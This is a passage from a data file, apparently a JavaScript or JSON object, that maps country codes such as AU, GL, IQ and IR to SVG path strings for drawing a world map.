-3.03,-3.96 -0.79,-1.73 -2.47,0.52 -1.87,-2.29 -0.38,-4.12 5.04,-6.66 3.14,-10.45 -0.44,-2.75 -1.62,-4.86 -3.33,-7.09 1.02,-0.93 1.38,-2.68 1.89,-3.94 -0.71,0.38 -1.61,-2.78 -3.04,-3.56 0.11,-1.31 -0.76,-1.44 -1.12,-2.41 z",AU:"m 791.49,330.29 c 2.22,-0.61 0.81,-3.23 1.35,-3.26 0.11,-3.48 -2.66,-6.34 -2.72,-9.87 -1.04,-2.38 -3.46,-6.91 -3.96,-7.92 -0.32,-0.75 1.81,2.65 1.06,0.08 -1.89,-1.68 0.38,-2.2 0.04,-0.08 0.58,-1.11 1.32,2.13 1.48,-0.5 -1.84,-2.55 -3.18,-5.44 -1.22,-8.35 -1.21,-1.64 1.49,-5.18 0.83,-1.49 2.25,-2.24 5.68,-5.3 8.69,-5.12 3.16,-0.68 5.84,-2.23 9.27,-2.56 2.63,-0.92 3.32,-3.52 4.69,-5.04 -1.41,-1.75 2.24,-5.39 2.3,-3.34 1.25,2.77 1.12,1.55 1.8,0.85 1.47,-0.05 -1.6,-1.49 -0.25,-2.15 -0.62,-0.78 2.79,0.71 2.77,0.08 -1.8,-0.46 1.11,-1.31 -0.78,-1.83 0.35,-2.27 2.85,0.37 1.53,-1.36 -0.71,-0.63 2.12,0.16 0.7,-1.33 0.83,-0.19 1.58,-2.32 1.2,-0.37 1.82,0.48 0.79,-3.25 1.65,-1.29 0.67,-0.2 1.52,-0.17 2.1,-1.11 2.29,0.21 3.67,4.58 3,4.35 0.52,0.45 0.86,-2.72 2.97,-0.78 0.29,0.69 0.33,-1.37 1.29,0.37 -0.4,-0.52 1.58,-1.1 -0.06,-1.51 0.74,0.21 -1.69,-1.36 0.43,-1.8 -0.06,-1.85 2.25,-1.31 1.33,-2.93 1.48,-0.55 0.59,-2.1 2.15,-0.89 -0.94,-2.38 3.04,-0.45 4.05,-1.18 1.86,-0.94 -0.62,-2.21 -1.7,-2.65 1.28,0.17 0.77,-0.92 2.45,0.71 0.63,-0.77 2.6,1.36 3.21,0.84 1.4,0.66 3.93,1.65 4.79,0.4 1.96,-1.3 -0.68,1.49 1.03,0.73 1.07,1.52 1.41,-2.07 2.08,-0.07 1.34,0.47 -1.12,2.28 -0.55,2.66 -1.11,-0.21 -2.16,0.86 -1.46,1.97 -1.19,1.83 -2.53,3.38 0.37,4.36 2.4,1.97 5.27,3.02 8.25,4.58 2.66,4.45 7.1,-0.33 6.64,-4.26 0.64,-2.11 -0.6,-7.36 1.17,-7.41 -1.54,-1.68 0.84,-2.32 0.7,-5.3 1.91,-2.41 1.62,2.91 2.73,3.04 1.28,1.63 0.3,6.44 2.73,6.53 1.46,-0.82 3.69,1.89 3.32,3.67 0.61,3.17 2.37,4.32 2.29,7.52 0.2,1.62 1.99,3.14 3.41,2.71 0.65,1.97 2.53,1.64 3.8,2.69 0.47,0.26 -0.89,1.6 0.83,1.83 1.17,1.86 1.88,5.94 2.95,3.73 1.84,0.39 1.6,1.25 2.07,3.57 1.45,-0.32 0.24,1.18 2.14,1.3 1.76,1.71 3.34,4.29 4.26,5.55 -1.36,3.4 2.44,5.95 0.59,9.3 -1.26,3.24 -0.54,7.74 -3.5,9.71 -1.67,0.98 -2.22,2.93 -3.4,4.84 0.03,2.08 -1.93,2.42 -2.2,5.28 0.47,3.49 -1.89,4.72 -5.46,4.37 -1.69,0.74 -4.28,2.3 -5.05,2.95 1.38,0.61 -2.78,-0.25 -2.36,-1.91 -1.21,0.89 -2.66,0.73 -0.99,-0.26 -1.04,-1.73 -1.87,0.42 -1.43,0.41 -2.75,3.08 -5.83,-0.71 -8.88,0.26 -2.22,-1.14 -5.08,-2.7 -4.63,-5.8 -1.21,-1.52 -3.23,-2.95 -0.52,-0.82 1.39,1.17 -2.72,-2.42 -0.62,-1.09 -0.06,-2.24 -2.63,1.53 -3.09,-0.47 2.22,-1.63 -1.2,-5.85 -1.29,-1.34 -1.47,1.42 -3.85,0.01 -0.79,-0.32 -0.06,-2.15 2.52,-5.48 0.97,-6.19 -0.45,2.95 -4.21,3.34 -5.39,5.77 1.68,1.61 -3.7,-0.88 -1.29,-0.71 -0.16,-2.72 -2.99,-3.32 -3.23,-4.96 0.26,-0.87 -2.59,-1.94 -4.61,-2.05 -2.96,-1.22 -6.47,-1.72 -9.95,-0.76 -3.74,2.19 -8.2,0.83 -11.77,3.34 -2.38,0.79 -3.1,4.24 -6.11,2.78 -2.76,0.09 -7.41,-0.79 -9.12,1.7 -2.95,0.97 -5.53,2.7 -8.77,0.95 -0.79,-0.98 -5.26,-2.21 -2.32,-3.31 z m 90.47,17.83 c 1.93,2.47 0.52,-2.1 0,0 z m -11.14,0 c 1.48,1.07 0.1,-2.86 0,0 z m 9.64,7.83 c 0.39,1.2 1.83,-0.28 1.11,0.95 1.34,0.97 0.48,-4.13 1.87,-2.77 0.18,-2.25 -0.41,-4.84 -2.96,-3.2 -1.65,1.37 -5.44,-1.05 -7.36,-0.47 -0.42,2.13 3.78,5.1 1.59,4.31 -0.12,2.14 3.71,2.53 2.25,3.28 1.32,0.04 2.92,0.54 2.84,-1.03 0.68,0.92 1.13,-0.65 0.67,-1.08 z m -27.37,-18.87 c 4.04,-0.72 -1.41,-1.98 -2.43,-0.45 0.61,0.92 1.68,-0.14 2.43,0.45 z m -17.24,-69.43 c -1.28,-0.58 -3.73,-0.24 -0.99,1.44 1.71,0.6 2.21,-2.97 0.99,-1.44 z m -2.05,1.26 c 0.84,-1.66 -2.21,-0.8 -0.55,-0.1 z",PG:"m 878.44,241.91 c 0.38,-1.94 3.55,0.33 0.52,-0.28 l -0.27,0.12 z m 23.31,11.21 c 0.44,2.12 4.23,2 1.66,-0.11 -1.33,-1.54 -3.89,-3.41 -1.66,0.11 z m -6.43,-6.65 c -1.02,-1.69 -7.66,-4.86 -3.27,-2.06 2.63,0.3 3.1,3.93 4.06,4.53 0.86,-0.9 0.27,-2.19 -0.79,-2.47 z m -5.01,17.27 c 1.29,0.67 1.17,-0.09 -0.41,-0.7 l 0.25,0.34 z m -5.57,-11.37 c 2.18,1.61 6.09,0.82 7.63,-1.15 2.41,0.24 0.05,-1.92 2.11,-2.38 0.29,-2.22 -3.39,-1.69 -2.14,0.63 -1.15,0.47 -4.02,3.23 -4.25,0.64 0.41,-0.42 -1.53,2.45 -3.13,1 -2.21,-0.35 -2.21,0.62 -0.21,1.26 z m -21.82,8.94 c 0.3,-3.07 -0.44,-6.05 0.01,-8.89 0.2,-2.99 -0.51,-7.15 0.5,-9.44 2.67,1.59 5.78,2.02 8.42,3.39 2.57,0.46 4.08,3.15 5.01,4.82 1.45,0.26 7.22,2.26 4.05,3.42 -3.79,-0.23 1.5,3.53 1.92,4.33 0.26,1.95 2.05,2.12 3.05,2.48 -1.12,1.72 3.73,0.92 1.16,1.82 0.85,1.51 4.63,0.93 1.81,1.61 2.04,1.17 -1.89,0.41 -1.22,0.26 -2.15,-1.44 -4.95,-0.07 -6.75,-1.87 -2.29,-1.7 -3.02,-5.59 -6.68,-5.64 -1.76,-1.77 -1.54,0.89 -3.91,-1.05 1.21,1.3 0.71,2.14 -0.81,1.29 2.25,2.18 -6.1,0.35 -0.96,1.49 2.94,2.84 -3.46,2.3 -5.06,2.15 l -0.26,0.03 z",IQ:"m 579.52,141.76 c 3.35,-1.23 8.01,-3.06 6.94,-7.36 0.04,-1.98 3.23,-3.11 4.84,-3.85 2.48,0.07 3.33,0.76 5,0.95 -0.02,2.44 3.84,3.56 3.45,3.77 0.58,1.72 -1.45,2.49 -1.72,3.64 -0.51,1.59 1.97,2.82 2.09,4.02 2.7,0.67 5.14,2.81 4.32,5.55 0.65,0.26 3.36,4.41 0.38,2.48 -3.04,-0.74 -3.3,4.74 -7.03,2.77 -3.58,-0.26 -5.88,-3.65 -8.86,-5.36 -2.74,-1.21 -5.2,-3.27 -8.37,-3.12 0.26,-0.46 -0.96,-2.2 -1.04,-3.49 z",HR:"m 520.86,114.99 c 1.93,-0.01 2.97,2.11 0.72,0.38 -1.74,-0.36 -3.2,-1.21 -0.72,-0.38 z m -11.29,-7.28 c 2.63,-0.58 5.72,0.79 5.65,-1.9 2.54,-2.52 4.79,1.54 8.03,1.02 1.28,-0.8 1.93,2.07 2.02,1.81 -1.06,1.36 -4.28,-0.31 -6.63,-0.24 -1.29,0.48 -4.75,-0.22 -2.16,1.72 0.08,2.02 4.02,3.27 4.12,4.66 -1.62,-1.77 -6.82,-1.63 -6.22,-3.67 0.49,0.88 -2.49,-4.97 -3.21,-2.02 -0.96,1.61 -1.74,-0.94 -1.6,-1.37 z",GL:"m 350.08,66.85 c -1.04,-0.38 1,-0.77 2.1,0 -1.44,-0.58 -0.63,0.6 -2.1,0 z m -72.85,-47.31 c 1.2,0.31 8.15,0.27 3.75,0.53 -1.87,-0.15 -3.55,0.83 -0.86,1.06 1.35,0.34 5.81,1 6.17,0.53 -3.96,-0.92 2.94,-0.21 2.81,-0.39 1.66,0.42 4.52,-0.36 6.93,-0.46 3.5,0.33 7.71,0.64 10.68,1.36 0.53,0.15 4.8,0.51 2.25,1.44 1.17,0.27 4.31,1.26 4.77,1.66 -0.04,0.42 3.72,0.85 0.63,0.9 2.78,0.13 -0.9,0.33 1.2,0.41 -1.34,0.2 -4.2,0.74 -1.17,0.47 1.83,-0.47 1.52,0.57 3,1.12 -3.5,-0.1 3.32,0.98 0.44,1.23 0.2,0.59 -1.07,0.55 1.18,0.62 0.86,0.88 1.41,0.65 0.08,1.39 4.92,0.42 -4.31,-0.02 -0.48,0.47 3.36,-0.43 -3.71,1.92 0.82,1.18 3.77,-0.89 -6.22,0.85 -0.86,1.72 0.07,0.06 4.32,0.05 3.55,-0.77 1.03,-0.13 1.48,-0.84 0.16,-1.91 0.56,-0.73 1.05,2.76 3.04,0.96 -4.13,1.84 6.46,0.3 1.37,1.29 -5.64,0.62 6.11,-0.2 0.75,0.31 -3.73,1.41 4.05,-0.34 -0.45,0.78 2.56,0.1 4.76,0.57 0.64,0.35 2.44,0.47 4.16,0.73 1.98,0.92 0.37,0.07 2.86,0.24 0.86,0.19 2.05,0.68 -3,-0.32 -0.02,0.48 -0.73,0.11 2.39,-0.09 0.34,0.39 -2.79,-0.54 -9.21,-2.3 -9.88,-0.72 2.87,1.02 8.68,1.77 9.51,1.79 2.13,-0.68 2.67,0.57 0.72,0.84 2.12,-0 -2.01,0.41 0.87,0.35 0.74,-0.44 -3.56,1.46 -0.75,0.75 2.42,3.6e-4 -0.62,0.59 1.22,0.73 -1.18,-0.49 -3.54,0.02 -2.16,0.67 1.93,0.24 -3.47,0.94 -2.71,0.41 -1.98,0.07 0.72,0.04 -1.67,0.31 0.82,0.26 -3.9,0.81 -0.58,0.46 -1.15,0.35 5.51,0.55 3.23,-0.24 1.62,0.13 2.65,-0.58 0.87,0.49 2.03,0.31 -1.81,0.02 1.04,0.48 2.46,0.43 2.02,0.59 -0.03,0.17 -2.22,-0.06 -5.34,-0.54 -4.8,-0.28 -3.64,-0.76 -0.29,0.72 1.46,0.45 -1.66,0.11 -3.3,-0.49 -2.82,-0.03 -0.4,0.14 -3.02,1.14 -0.29,0.96 2.47,-0.86 5.66,-1.26 3.09,-0.46 1.96,0.56 1.48,-0.58 3.2,-0.4 -2.02,0.32 0.8,0.61 0.77,0.07 3.15,0.31 -4.4,0.6 -0.14,0.68 3.01,-0.57 -2.16,0.45 1.19,0.45 -0.94,-0.05 -7.09,-1.23 -7.74,-0.39 -2.6,0.41 -2.17,1.61 0.28,0.88 1.75,0.09 5.92,-0.72 4.59,0.2 1.54,0.42 3.58,0.01 0.77,0.39 -2.16,-1.22 -8.38,-0.3 -7.04,0.09 1.57,-0.21 -1.61,0.22 0.89,0.23 -3.99,0.14 3.61,0.25 -0.16,0.39 0.18,-0.45 5.35,0.02 1.5,0.07 -1.54,-0.11 1.33,0.22 -0.73,0.31 3.14,0.03 -3.4,0.19 0.51,0.59 3.74,-0.33 -5.46,0.38 -0.54,0.69 -3.31,1.06 2.91,-0.19 3.76,-1.33 1.7,-0.44 4.12,-1.25 4.01,-0.7 1.32,-0.07 -4.05,0.36 -0.24,0.42 -2.39,-0.51 -7.95,2.07 -7.65,2.35 -1.96,0.45 2.19,-0.23 -0.21,0.3 1.56,0.11 6.15,-0.7 2.21,0.16 -2.55,-0.08 -1.9,0.59 -0.59,0.43 -0.34,0.72 0.51,-0.06 0.44,0.86 1.23,-0.68 5.28,-1.43 4.94,-0.74 -1.83,-1.11 -6.89,1.86 -3.64,1.1 -1.78,2.76 4.25,-0.2 0.3,1.38 -1.43,1.79 1.29,1.85 1.96,0.1 0.04,0.88 2.46,-0.1 0.7,-1.29 0.52,0.38 2.46,1.52 2.4,1.49 0.24,0.24 2.44,1.69 -0.14,0.55 -1.82,-1.32 -1.75,0.17 -0.32,0.23 -2.2,-0.1 -1.68,0.91 -3.99,0.61 1.13,-0.08 -0.22,0.55 1.7,0.33 1.58,-0.67 2.43,-0.51 2.43,-0.26 -1.74,-0.19 -5.32,0.95 -2,0.68 -3.84,0.82 0.54,1 0.56,0.78 -2.51,0.25 1.34,0.26 -1.27,0.55 3.05,0.5 1.1,-0.32 0.53,0.6 0.51,0.39 3.05,-0.58 1.27,0.6 1.22,0.05 0.04,0.72 1.31,0.16 -1.85,1.31 1.85,-0.48 -0.52,0.92 0.11,1.44 2.65,0.9 2.58,1.43 -2.95,0.92 3.57,-0.74 -0.06,0.77 0.14,0.79 2.09,-1.25 0.62,0.38 1.12,-0.55 -0.32,0.77 1.3,0.29 -4.1,0.51 3.79,0.01 -0.63,0.5 -0.06,0.32 1.66,0.07 1.2,0.74 0.75,0.37 1.48,-1.01 0.94,0.2 2.49,-0.05 -2.28,0.69 0.27,0.36 2.28,-0.26 -2.45,0.8 0.68,0.53 2.38,-0.21 -1.41,-0.27 1.14,-0.36 2.09,0.46 3.09,-0.42 4.44,-1.05 -0.6,1.36 -0.31,0.74 1.2,0.51 0.81,0 -3.01,0.96 -2,0.88 -0.67,0.72 3.94,-1.14 0.83,0.32 -0.23,0.43 -0.42,0.26 0.19,0.32 0.53,0.59 2.01,-1.02 0.68,0.26 0.53,0.01 1.7,-0.49 1.79,-0.24 -2.69,2.52 2.84,-1.05 -0.42,1.05 -0.16,1.61 3.24,-1.26 2.66,0.15 0.99,1.17 2.71,-0.08 0.94,0.01 2.82,0.35 0.35,-0.67 0.62,-0.92 -3.5,-0.59 0.22,-0.12 0.32,-0.21 2.15,-0.08 -2.6e-4,0.1 1.51,-0.39 -2.62,0.46 1.39,-0.27 -1.76,-0.42 2.04,0.25 1.61,-0.04 -0.16,-0.31 2.71,0.35 1.81,-0.58 -0.35,-0.54 2.71,0.37 1.38,-0.32 1.98,-0.15 1.57,-0.24 -2.6,-0.56 0.41,-0.38 1.75,-0.81 -3.03,-0.74 0.6,-0.68 1.57,-0.69 -2.52,-0.6 0.29,-0.59 1.17,-0.78 -0.56,-0.25 0.15,-1.5 -2.26,-0.93 -1.46,-0.34 0.46,-0.25 -0.23,-0.41 -4.35,-1.23 -1.13,-0.86 -0.38,-0.79 1.85,-0.54 0.49,-3.6e-4 1.37,-0.35 2.79,-0.62 0.66,-1.38 0.53,0.62 2.37,0.47 0.8,-0.03 2.98,1.02 -1.49,-1.48 1.15,-0.22 2.42,0.74 -1.98,-1.28 0.89,-0.09 -2.35,-0.7 3.25,-0.24 -0.72,-1.26 -1.15,-0.26 3.49,0.66 2.12,-0.6 -0.26,-0.82 -4.04,-0.72 -0.74,-1.02 3.71,0.7 -2.99,-2.72 1.28,-2.03 1.85,0.37 1.92,-1.01 1.14,-1.37 1.84,-0.42 3.25,-0.05 4.2,-0.36 2.05,0.4 -0.95,-1.43 1.26,-0.75 1.08,-0.91 -0.82,-1.61 1.16,-1.17 3.26,-0.42 -2.51,1.33 0.84,1.41 1.25,-0.64 2.63,0.03 4.93,-0.79 -1.93,-1.74 1.8,0.28 1.33,-0.61 2.18,-0.69 2.47,-0.97 3.61,-2.01 1.42,-0.93 1.89,-2.45 4.67,-2.36 0.28,-1.12 -0.69,-0.69 -0.63,-1.24 -1.23,-1.48 2.23,0.71 2.62,0.73 1.9,0.22 2.23,-0.23 2.32,-0.37 2.16,0.94 0.29,-1.07 2.9,-0.12 2.72,-0.54 5.43,-0.92 8.68,-1.16 2.84,-0.84 2.79,-1.58 4.89,-1.64 -1.03,-0.38 1.71,-0.69 1.87,-0.75 1.81,-0.33 -0.57,-0.64 1.71,-0.73 1.91,0.12 -0.57,-0.25 1.88,-0.31 2.99,-1.05 -4.32,-0.11 -5.76,-1.1 -2.97,-0.84 -6.86,1.37 -10.57,0.58 1.49,0.1 5.77,-0.51 5.57,-1.1 -1.94,-0.07 -6.85,0.28 -6.8,0.04 1.81,0.5 2.94,-1.78 2.21,-1.44 2.37,0.44 -0.22,-1.23 2.17,0.04 2.18,0.75 8.25,-1.6 2.87,-1.53 -2.29,-0.11 -3.09,-0.46 -5.68,-0.24 1.53,0.18 4.4,-0.39 1.22,-0.92 -0.07,0.32 -3.32,-1.14 -0.41,-0.33 3.63,2.13 9.05,0.12 11.64,3.95 1.84,1.75 4.21,-0.84 4.06,0.14 2.19,1.31 2.66,-0.71 1.88,-0.67 1.32,-0.91 -2.71,-0.71 0.22,-1.01 -0.69,-0.56 0.6,-1.07 -1.71,-0.59 -1.71,0.08 2.65,-1.75 -0.43,-0.81 0.18,-0.31 -2.77,0.14 -0.58,-0.59 -0.57,-0.82 -7.23,-1.51 -7.57,-1.55 -3.69,-0.03 4.51,0.2 0.78,-1.14 -2.45,0.05 -4.43,0.71 -4.44,-0.01 -5.34,-0.35 6.43,0.45 3.84,-0.79 -2.4,-0.56 -9.52,0.6 -3.87,-0.21 1.44,-0.47 -4.17,-1.17 -0.64,-0.56 1.58,0.85 6.31,-0.26 5.6,-0.61 -2.53,-0.68 -1.86,-1.31 0.15,-0.07 2.26,-0.72 4.76,-0.11 7.26,-0.03 -1.4,0.19 -7.18,-0.69 -3.04,0.55 2.61,0.32 7.08,0.96 8.43,-1.28 -2.06,-0.86 -4.62,0.06 -4.37,0.11 -0.93,-0.88 -2.16,-0.27 -0.58,-0.98 -2.68,-0.48 2.73,-0.08 0.09,-1.04 2.95,-0.04 6.03,1.67 8.79,0.26 -1.23,-0.81 -5.75,-0.36 -5.19,-0.49 2.25,-1.81 -4.72,-0.52 -3.67,-1.25 1.91,0.75 6.46,-0.28 2.18,-0.79 -1.54,-0.13 -3.22,-0.44 -0.55,-0.2 -4.3,-1.32 3.43,0.42 4.74,0.88 3.79,-1.39 -2.77,-3.43 -4.94,-2.39 -2.01,0.21 8.54,-0.13 3.5,-0.84 -2.11,-0.34 -2.46,-0.06 -0.28,0.36 -2.01,-0.29 -4.7,-0.75 -5.12,-0.95 2.34,0.01 0.16,0.12 1.47,-0.13 -0.75,-0.08 -3.92,-0.39 -1.14,-0.95 1.86,1.32 4.87,-0.52 1.21,-0.1 1.84,0.08 2.89,-0.01 2.47,-0.29 2,-0.79 7.37,2.12 7.18,-0.63 -2.26,-0.27 -4.39,-0.53 -6.74,-0.6 3.04,-0.01 0.35,-0.22 -1.06,-0.35 1.75,0.29 2.76,-0.31 0.28,-0.35 1.9,-0.2 7.71,0.39 2.93,-0.57 -2.53,-1.39 -5.38,1.85 -5.7,0.15 2.25,-0.98 -0.23,-0.77 1.63,-1.07 -0.15,-0.9 1.72,-1.28 -0.04,-1.17 1.23,-0.87 4.18,-0.78 6.45,-1.87 -4.29,0.69 0.27,-2.19 2.55,-1.44 4.73,-1.19 -2.21,-0.94 -4,-0.69 -1.73,0.37 -1.09,1.09 -3.02,0.61 1.88,-2.36 6.92,-0.48 10.29,-1.24 2.63,-0.27 2.82,-1.16 0.12,-0.99 -3.84,0.35 -7.67,-0.47 -11.49,0.12 1.35,-0.64 6.81,0.21 9.63,-0.74 2.17,0.36 7.34,0.16 7.65,-0.63 0.66,-0.8 5.84,-0.44 7.96,-1.82 -5.09,-0.65 -10.21,-1.31 -15.34,-0.63 0.5,1.64 -5.67,0.8 -7.6,0.93 1.55,-1.01 -3.99,0.56 -5.15,0.88 -2.91,0.58 -9.45,3.25 -4.08,0.7 2.06,-0.33 6.93,-3.18 2,-3.26 -3.57,0.24 -6.75,1.75 -10.45,1.85 -1.74,0.31 -2.71,0.34 -2.34,0.02 -0.92,-0.89 8.17,-0.04 4.82,-1.7 -6.82,-0.18 -13.65,0.3 -20.43,1.09 1.29,-1.99 7.63,-0.03 7.69,-1.44 -1.17,-0.48 -5.4,0.08 -1.92,-0.16 5.02,0.28 10.05,0.12 15.07,0.12 3.88,-0.52 7.9,0.06 11.65,-1.2 -3.81,-1.07 -6.85,-0.48 -9.93,-0.81 -1.28,0.3 -3.97,0.5 -1.1,0.11 3.16,-0.86 -2.93,-1.11 -4.29,-0.71 -4.73,0.17 -9.47,-0.2 -14.19,0.31 -2.97,0.04 -8.63,0.48 -9.42,0.46 -0.02,-0.8 7.39,-0.26 7.08,-0.72 -3.68,-0.42 3.37,0.34 4.75,-0.09 4.97,-0.37 9.98,0.22 14.94,-0.42 -2.84,-1.02 -6.66,-0.36 -8.36,-0.47 0.57,-0.19 -5.13,-0.42 -7.56,-0.34 -2.96,-0.3 -6.86,0.05 -7.72,0.04 -1.9,0.07 -6.83,-0.34 -6.75,0.27 0.56,0.48 -3.85,-0.53 -5.26,0.09 -2.91,0.78 7.57,0.72 2.53,0.92 -1.77,-0.1 -4.34,0.14 -1.2,0.16 5.43,0.03 -6.63,-0.4 -1.37,0.55 -2.92,-0.43 -7.67,-0.49 -9.54,-1.07 -2.13,-0.51 -4.02,-0.02 -3.22,0.06 -3.05,-0.15 -1.17,0.15 0.76,0.27 -1.87,-0.12 -7.22,-0.27 -6.87,-0 1.18,0.23 5.1,0.61 1.77,0.37 -2.62,-0.36 -6.01,-0.3 -4.16,0.1 -4.03,-0.01 4.56,0.54 3.64,0.07 4.58,0.27 9.38,-0.28 13.81,0.87 1.25,1.43 -6.53,-2.03 -4.74,0.28 -2.72,-1.55 -9.86,-0.82 -10.47,-0.51 3.59,0.54 4.96,1.12 8.47,1.27 -2.19,0.13 -6.47,-0.76 -6.46,0.45 -1,0.4 2.84,0.84 -0.35,0.81 -5.07,-0.68 -10.07,-1.94 -15.2,-2.2 -4.51,-0.43 0.15,1.93 2.23,1.74 -1.98,0.59 -6.22,-0.42 -2.07,0.51 2.77,0.96 -4.34,-0.76 -6.01,-0.63 -1.58,-0.79 -4.66,3.04 -3.5,-0.27 -4.27,-1.74 -7.34,0.23 -12.12,-0.21 -1.77,0.05 -5.97,0.4 -1.97,0.77 1.62,0.83 8.52,1.78 3.67,1.17 -3.45,-0.49 -6.83,-1.99 -10.36,-1.1 -1.06,1.27 2.02,0.82 -0.23,1.66 1.43,1.67 -5.11,-0.83 -5.7,0.73 3.34,1.97 -2.2,-1.42 -3.72,0.26 -2.24,1.25 -6.51,0.43 -7.63,2.45 2.8,0.82 8.22,0.08 9.32,0.11 -2.38,-0.55 -2.49,0.99 -2.92,2.13 -3.75,1.08 -7.7,0.47 -11.5,1.22 0.33,0.33 -4.54,0.64 -6.12,0.92 -3.19,-0.23 -6.62,1.43 -2.07,1.86 2.43,0.3 2.68,0.56 5.74,0.22 -4.72,0.85 3.75,0.18 -0.18,0.7 -0.47,0.48 3.6,0.41 4.41,-0.03 1.72,1.03 6.5,-1.24 6.2,0.47 -2.28,-0.14 1.31,0.89 -1.32,0.41 -2.01,-0.73 -9.17,0.17 -3.66,0.3 1.66,-0.01 7.67,0.03 2.86,0.1 -3.86,0.07 -7.78,-0.5 -11.6,0.14 -0.82,0.87 2.96,0.21 0.63,0.57 0.94,1.34 5.75,-1.79 2.71,0.38 z m 132.2,12.52 c -1.59,-0.6 3.65,0.15 -0.05,-0.84 -1.37,-1.04 -7.96,-0.86 -3.67,0.54 0.65,0.18 6.83,1.56 3.72,0.3 z m -8.88,3.59 c -1.57,0.39 -6.63,0.59 -6.22,1.84 1.86,-0.25 9.2,0.01 6.19,-1.58 z m 19.57,-14.37 c -0.09,-3.96 -2.53,0.26 0,0 z m 1.99,2.22 c -1.38,-0.31 -4.15,1.28 -1.17,1.05 2.3,0.21 4.03,-0.09 0.81,-0.51 l 0.75,-0.25 z m -5.73,1.9 c 1.97,-1.23 -4.11,-0.66 -0.42,0.09 z m -2.69,0.78 c -1.92,-0.24 -3.67,0.98 -0.63,0.98 2.3,0.11 4.16,-0.43 0.63,-0.98 z m -2.67,4.26 c -1.66,-0.74 -7.55,-0.67 -6.21,-0.02 2.38,-0.41 6.14,1.58 6.21,0.02 z m 7.04,-16.54 c 0.81,-0.83 -2.47,0.39 0.48,0.07 z M 340.48,3.07 c 2.14,0.65 6.97,1.81 6.72,0.61 1.52,-0.55 -3.67,-1.42 -5.09,-1.18 -0.89,0.06 -4.14,0.09 -1.63,0.57 z M 330.4,38.95 c -2.3,0.49 0.91,1.63 0.43,0.12 z m -10.12,-0.22 c 2.72,0.25 -2.42,0.09 0.62,0.9 -3.41,-0.35 2.03,0.77 2.01,0.48 2.87,-0.13 -3.74,0.24 -0.05,0.7 1.7,0.29 7.63,-1.19 3.07,-1.89 -0.96,-0.54 -6.82,-2.06 -5.64,-0.19 z",NE:"m 472.53,195.05 c -0.75,-2.18 2.68,-1.53 4.08,-2.47 2.43,-0.56 5.27,0.81 6.33,-1.99 2.35,-2.68 -1.72,-9.21 3.14,-9.31 3.87,-0.56 5.85,-4.74 9.41,-6.21 3.12,-1.84 6.25,-3.67 9.42,-5.39 3.3,-0.57 6.46,3.04 8.67,1.73 -0.4,3.12 2.65,5.56 2.09,8.04 -1.29,3.47 0.67,8.09 -2.66,10.59 -1.98,1.89 -4.03,5.09 -3.75,6.99 -2.89,3.51 -7.48,-0.93 -10.4,2.34 -2.67,0.41 -5.33,-2.05 -7.76,-0.39 -1.36,-2.74 -6.89,-3.28 -7.81,-0.17 -1.64,1.53 -0.88,5.55 -3.1,2.2 -1.66,-0.94 -1.67,2.51 -2.44,-0.17 1.27,-1.19 -4.63,-1.04 -2.67,-2.69 0.23,-0.28 -2.57,-1.65 -2.55,-3.1 z",DK:"m 495.21,76.19 c -0.44,-2.15 3.9,-0.81 4.89,-2.71 2.49,-0.81 0.08,2.94 -1.9,1.63 -1.84,-0.67 -2.84,1.45 -2.99,1.08 z m 7.13,5.32 c 2.8,1.22 2.68,-0.62 0.13,-0.32 l 0.22,0.24 z m 0.3,-1.57 c 2.3,0.37 1.55,1.39 2.62,1.82 -0.59,-1.14 1.46,-1.07 0.72,-2.45 2.45,-2.14 -2.03,-1 -0.8,-0.55 -0.37,-0.06 -0.84,0.36 -1.21,-0.54 -0.05,0.27 -2.79,0.52 -1,1.57 l -0.08,0.11 z m -3.83,-0.45 c 0.48,2.01 4.2,1.24 2.49,-0.3 -0.23,0.82 -1.44,-0.23 -2.49,0.3 z m -4.36,-3.04 c 0.99,0.09 3.68,-0.25 2.92,-0.28 0.65,-2.73 4.5,0.4 2.46,-7.2e-4 0.21,0.8 1.86,-0.2 2.24,1.05 -1.31,0.45 -1.95,0.52 -2.47,1.41 0.41,0.8 -2.47,-0.01 -0.44,0.54 -1.25,0.79 -0.42,2.08 -0.54,2.11 -3.23,0.8 -2.36,-1.44 -3.91,-1.8 -0.76,-1.62 1.08,-0.89 -0.39,-1.78 l -0.02,-0.43 z",LV:"m 530.16,76.64 c 0.3,-2.33 4.87,-5.24 7.05,-1.36 3.35,0.59 1.1,-3.97 4.66,-2.94 1.99,1.68 6.31,0.33 7.07,2.64 -0.07,0.92 2.46,2.76 -0.51,3.69 -2.9,0.81 -5.39,-1.02 -8.03,-1.68 -3.25,0.69 -7.16,-0.89 -10.12,0.76 -0.3,-0.29 -0.22,-0.77 -0.13,-1.11 z",RO:"m 528.08,105.9 c 3.05,0.28 3.81,-3.14 5.89,-4.6 2.82,-2 6.18,0.64 9.05,-0.62 2.26,-0.8 4.32,-0.99 5.44,1.71 3.09,1.12 -0.25,6.94 3.88,5.75 3.2,-1.84 1.01,3.23 0.12,1.24 -0.87,-0.78 -0.25,1.39 -0.65,0.71 0.2,0.38 -0.75,3.91 -2.79,1.87 -3.58,-1.5 -6.51,1.86 -10.13,0.74 -2.41,-0.32 -4.26,-0.29 -4.36,-2.31 0.71,-0.32 -4.34,0.19 -3.1,-1.71 -2.07,-0.49 -1.75,-1.75 -3.35,-2.78 z",ZM:"m 532.92,281.12 c 0.13,-2.93 -0.39,-6.24 0.25,-8.95 3.23,0.4 6.48,0.56 5.29,-3.6 -0.37,-3.2 0.74,-1.97 1.41,-0.82 2.72,-1.79 2.32,2.13 5.56,1.48 1.49,-0.27 2.14,-1.59 2.94,0.77 2.67,-0.14 3.74,4.3 5.71,3.22 1.04,0.13 0.76,-5.12 -0.93,-2.58 -4.74,-1.4 -0.18,-6.33 -2.57,-8.87 1.47,-3.13 5.81,-3.76 8.61,-1.69 1.4,1.36 4.69,1.44 5.11,3.68 2.05,1.86 -1.93,4.4 0.56,6.69 -1.68,0.43 -3.04,4.51 -1.09,4.43 -0.87,2.05 -9.5,0.98 -7.63,4.68 -3.81,-0.6 -4.39,3.14 -7.48,4.27 -1.36,3.74 -5.32,2.41 -7.91,1.2 -3.67,0.48 -5.88,-0.51 -7.86,-3.9 z",IR:"m 594.01,124.87 c 2.29,-2.79 4.55,3.52 7.72,0.9 1.39,-2.34 5.8,-1.64 3.41,0.44 2.62,1.02 2.25,4.53 5.71,4.22 2.37,2.95 6.36,2.25 9.56,1.4 2.1,-0.3 -0.77,0.55 1.31,0.14 -0.81,-2.08 2.61,-1.48 3.62,-3.28 2.96,-0.75 5.14,-0.76 7.93,0.75 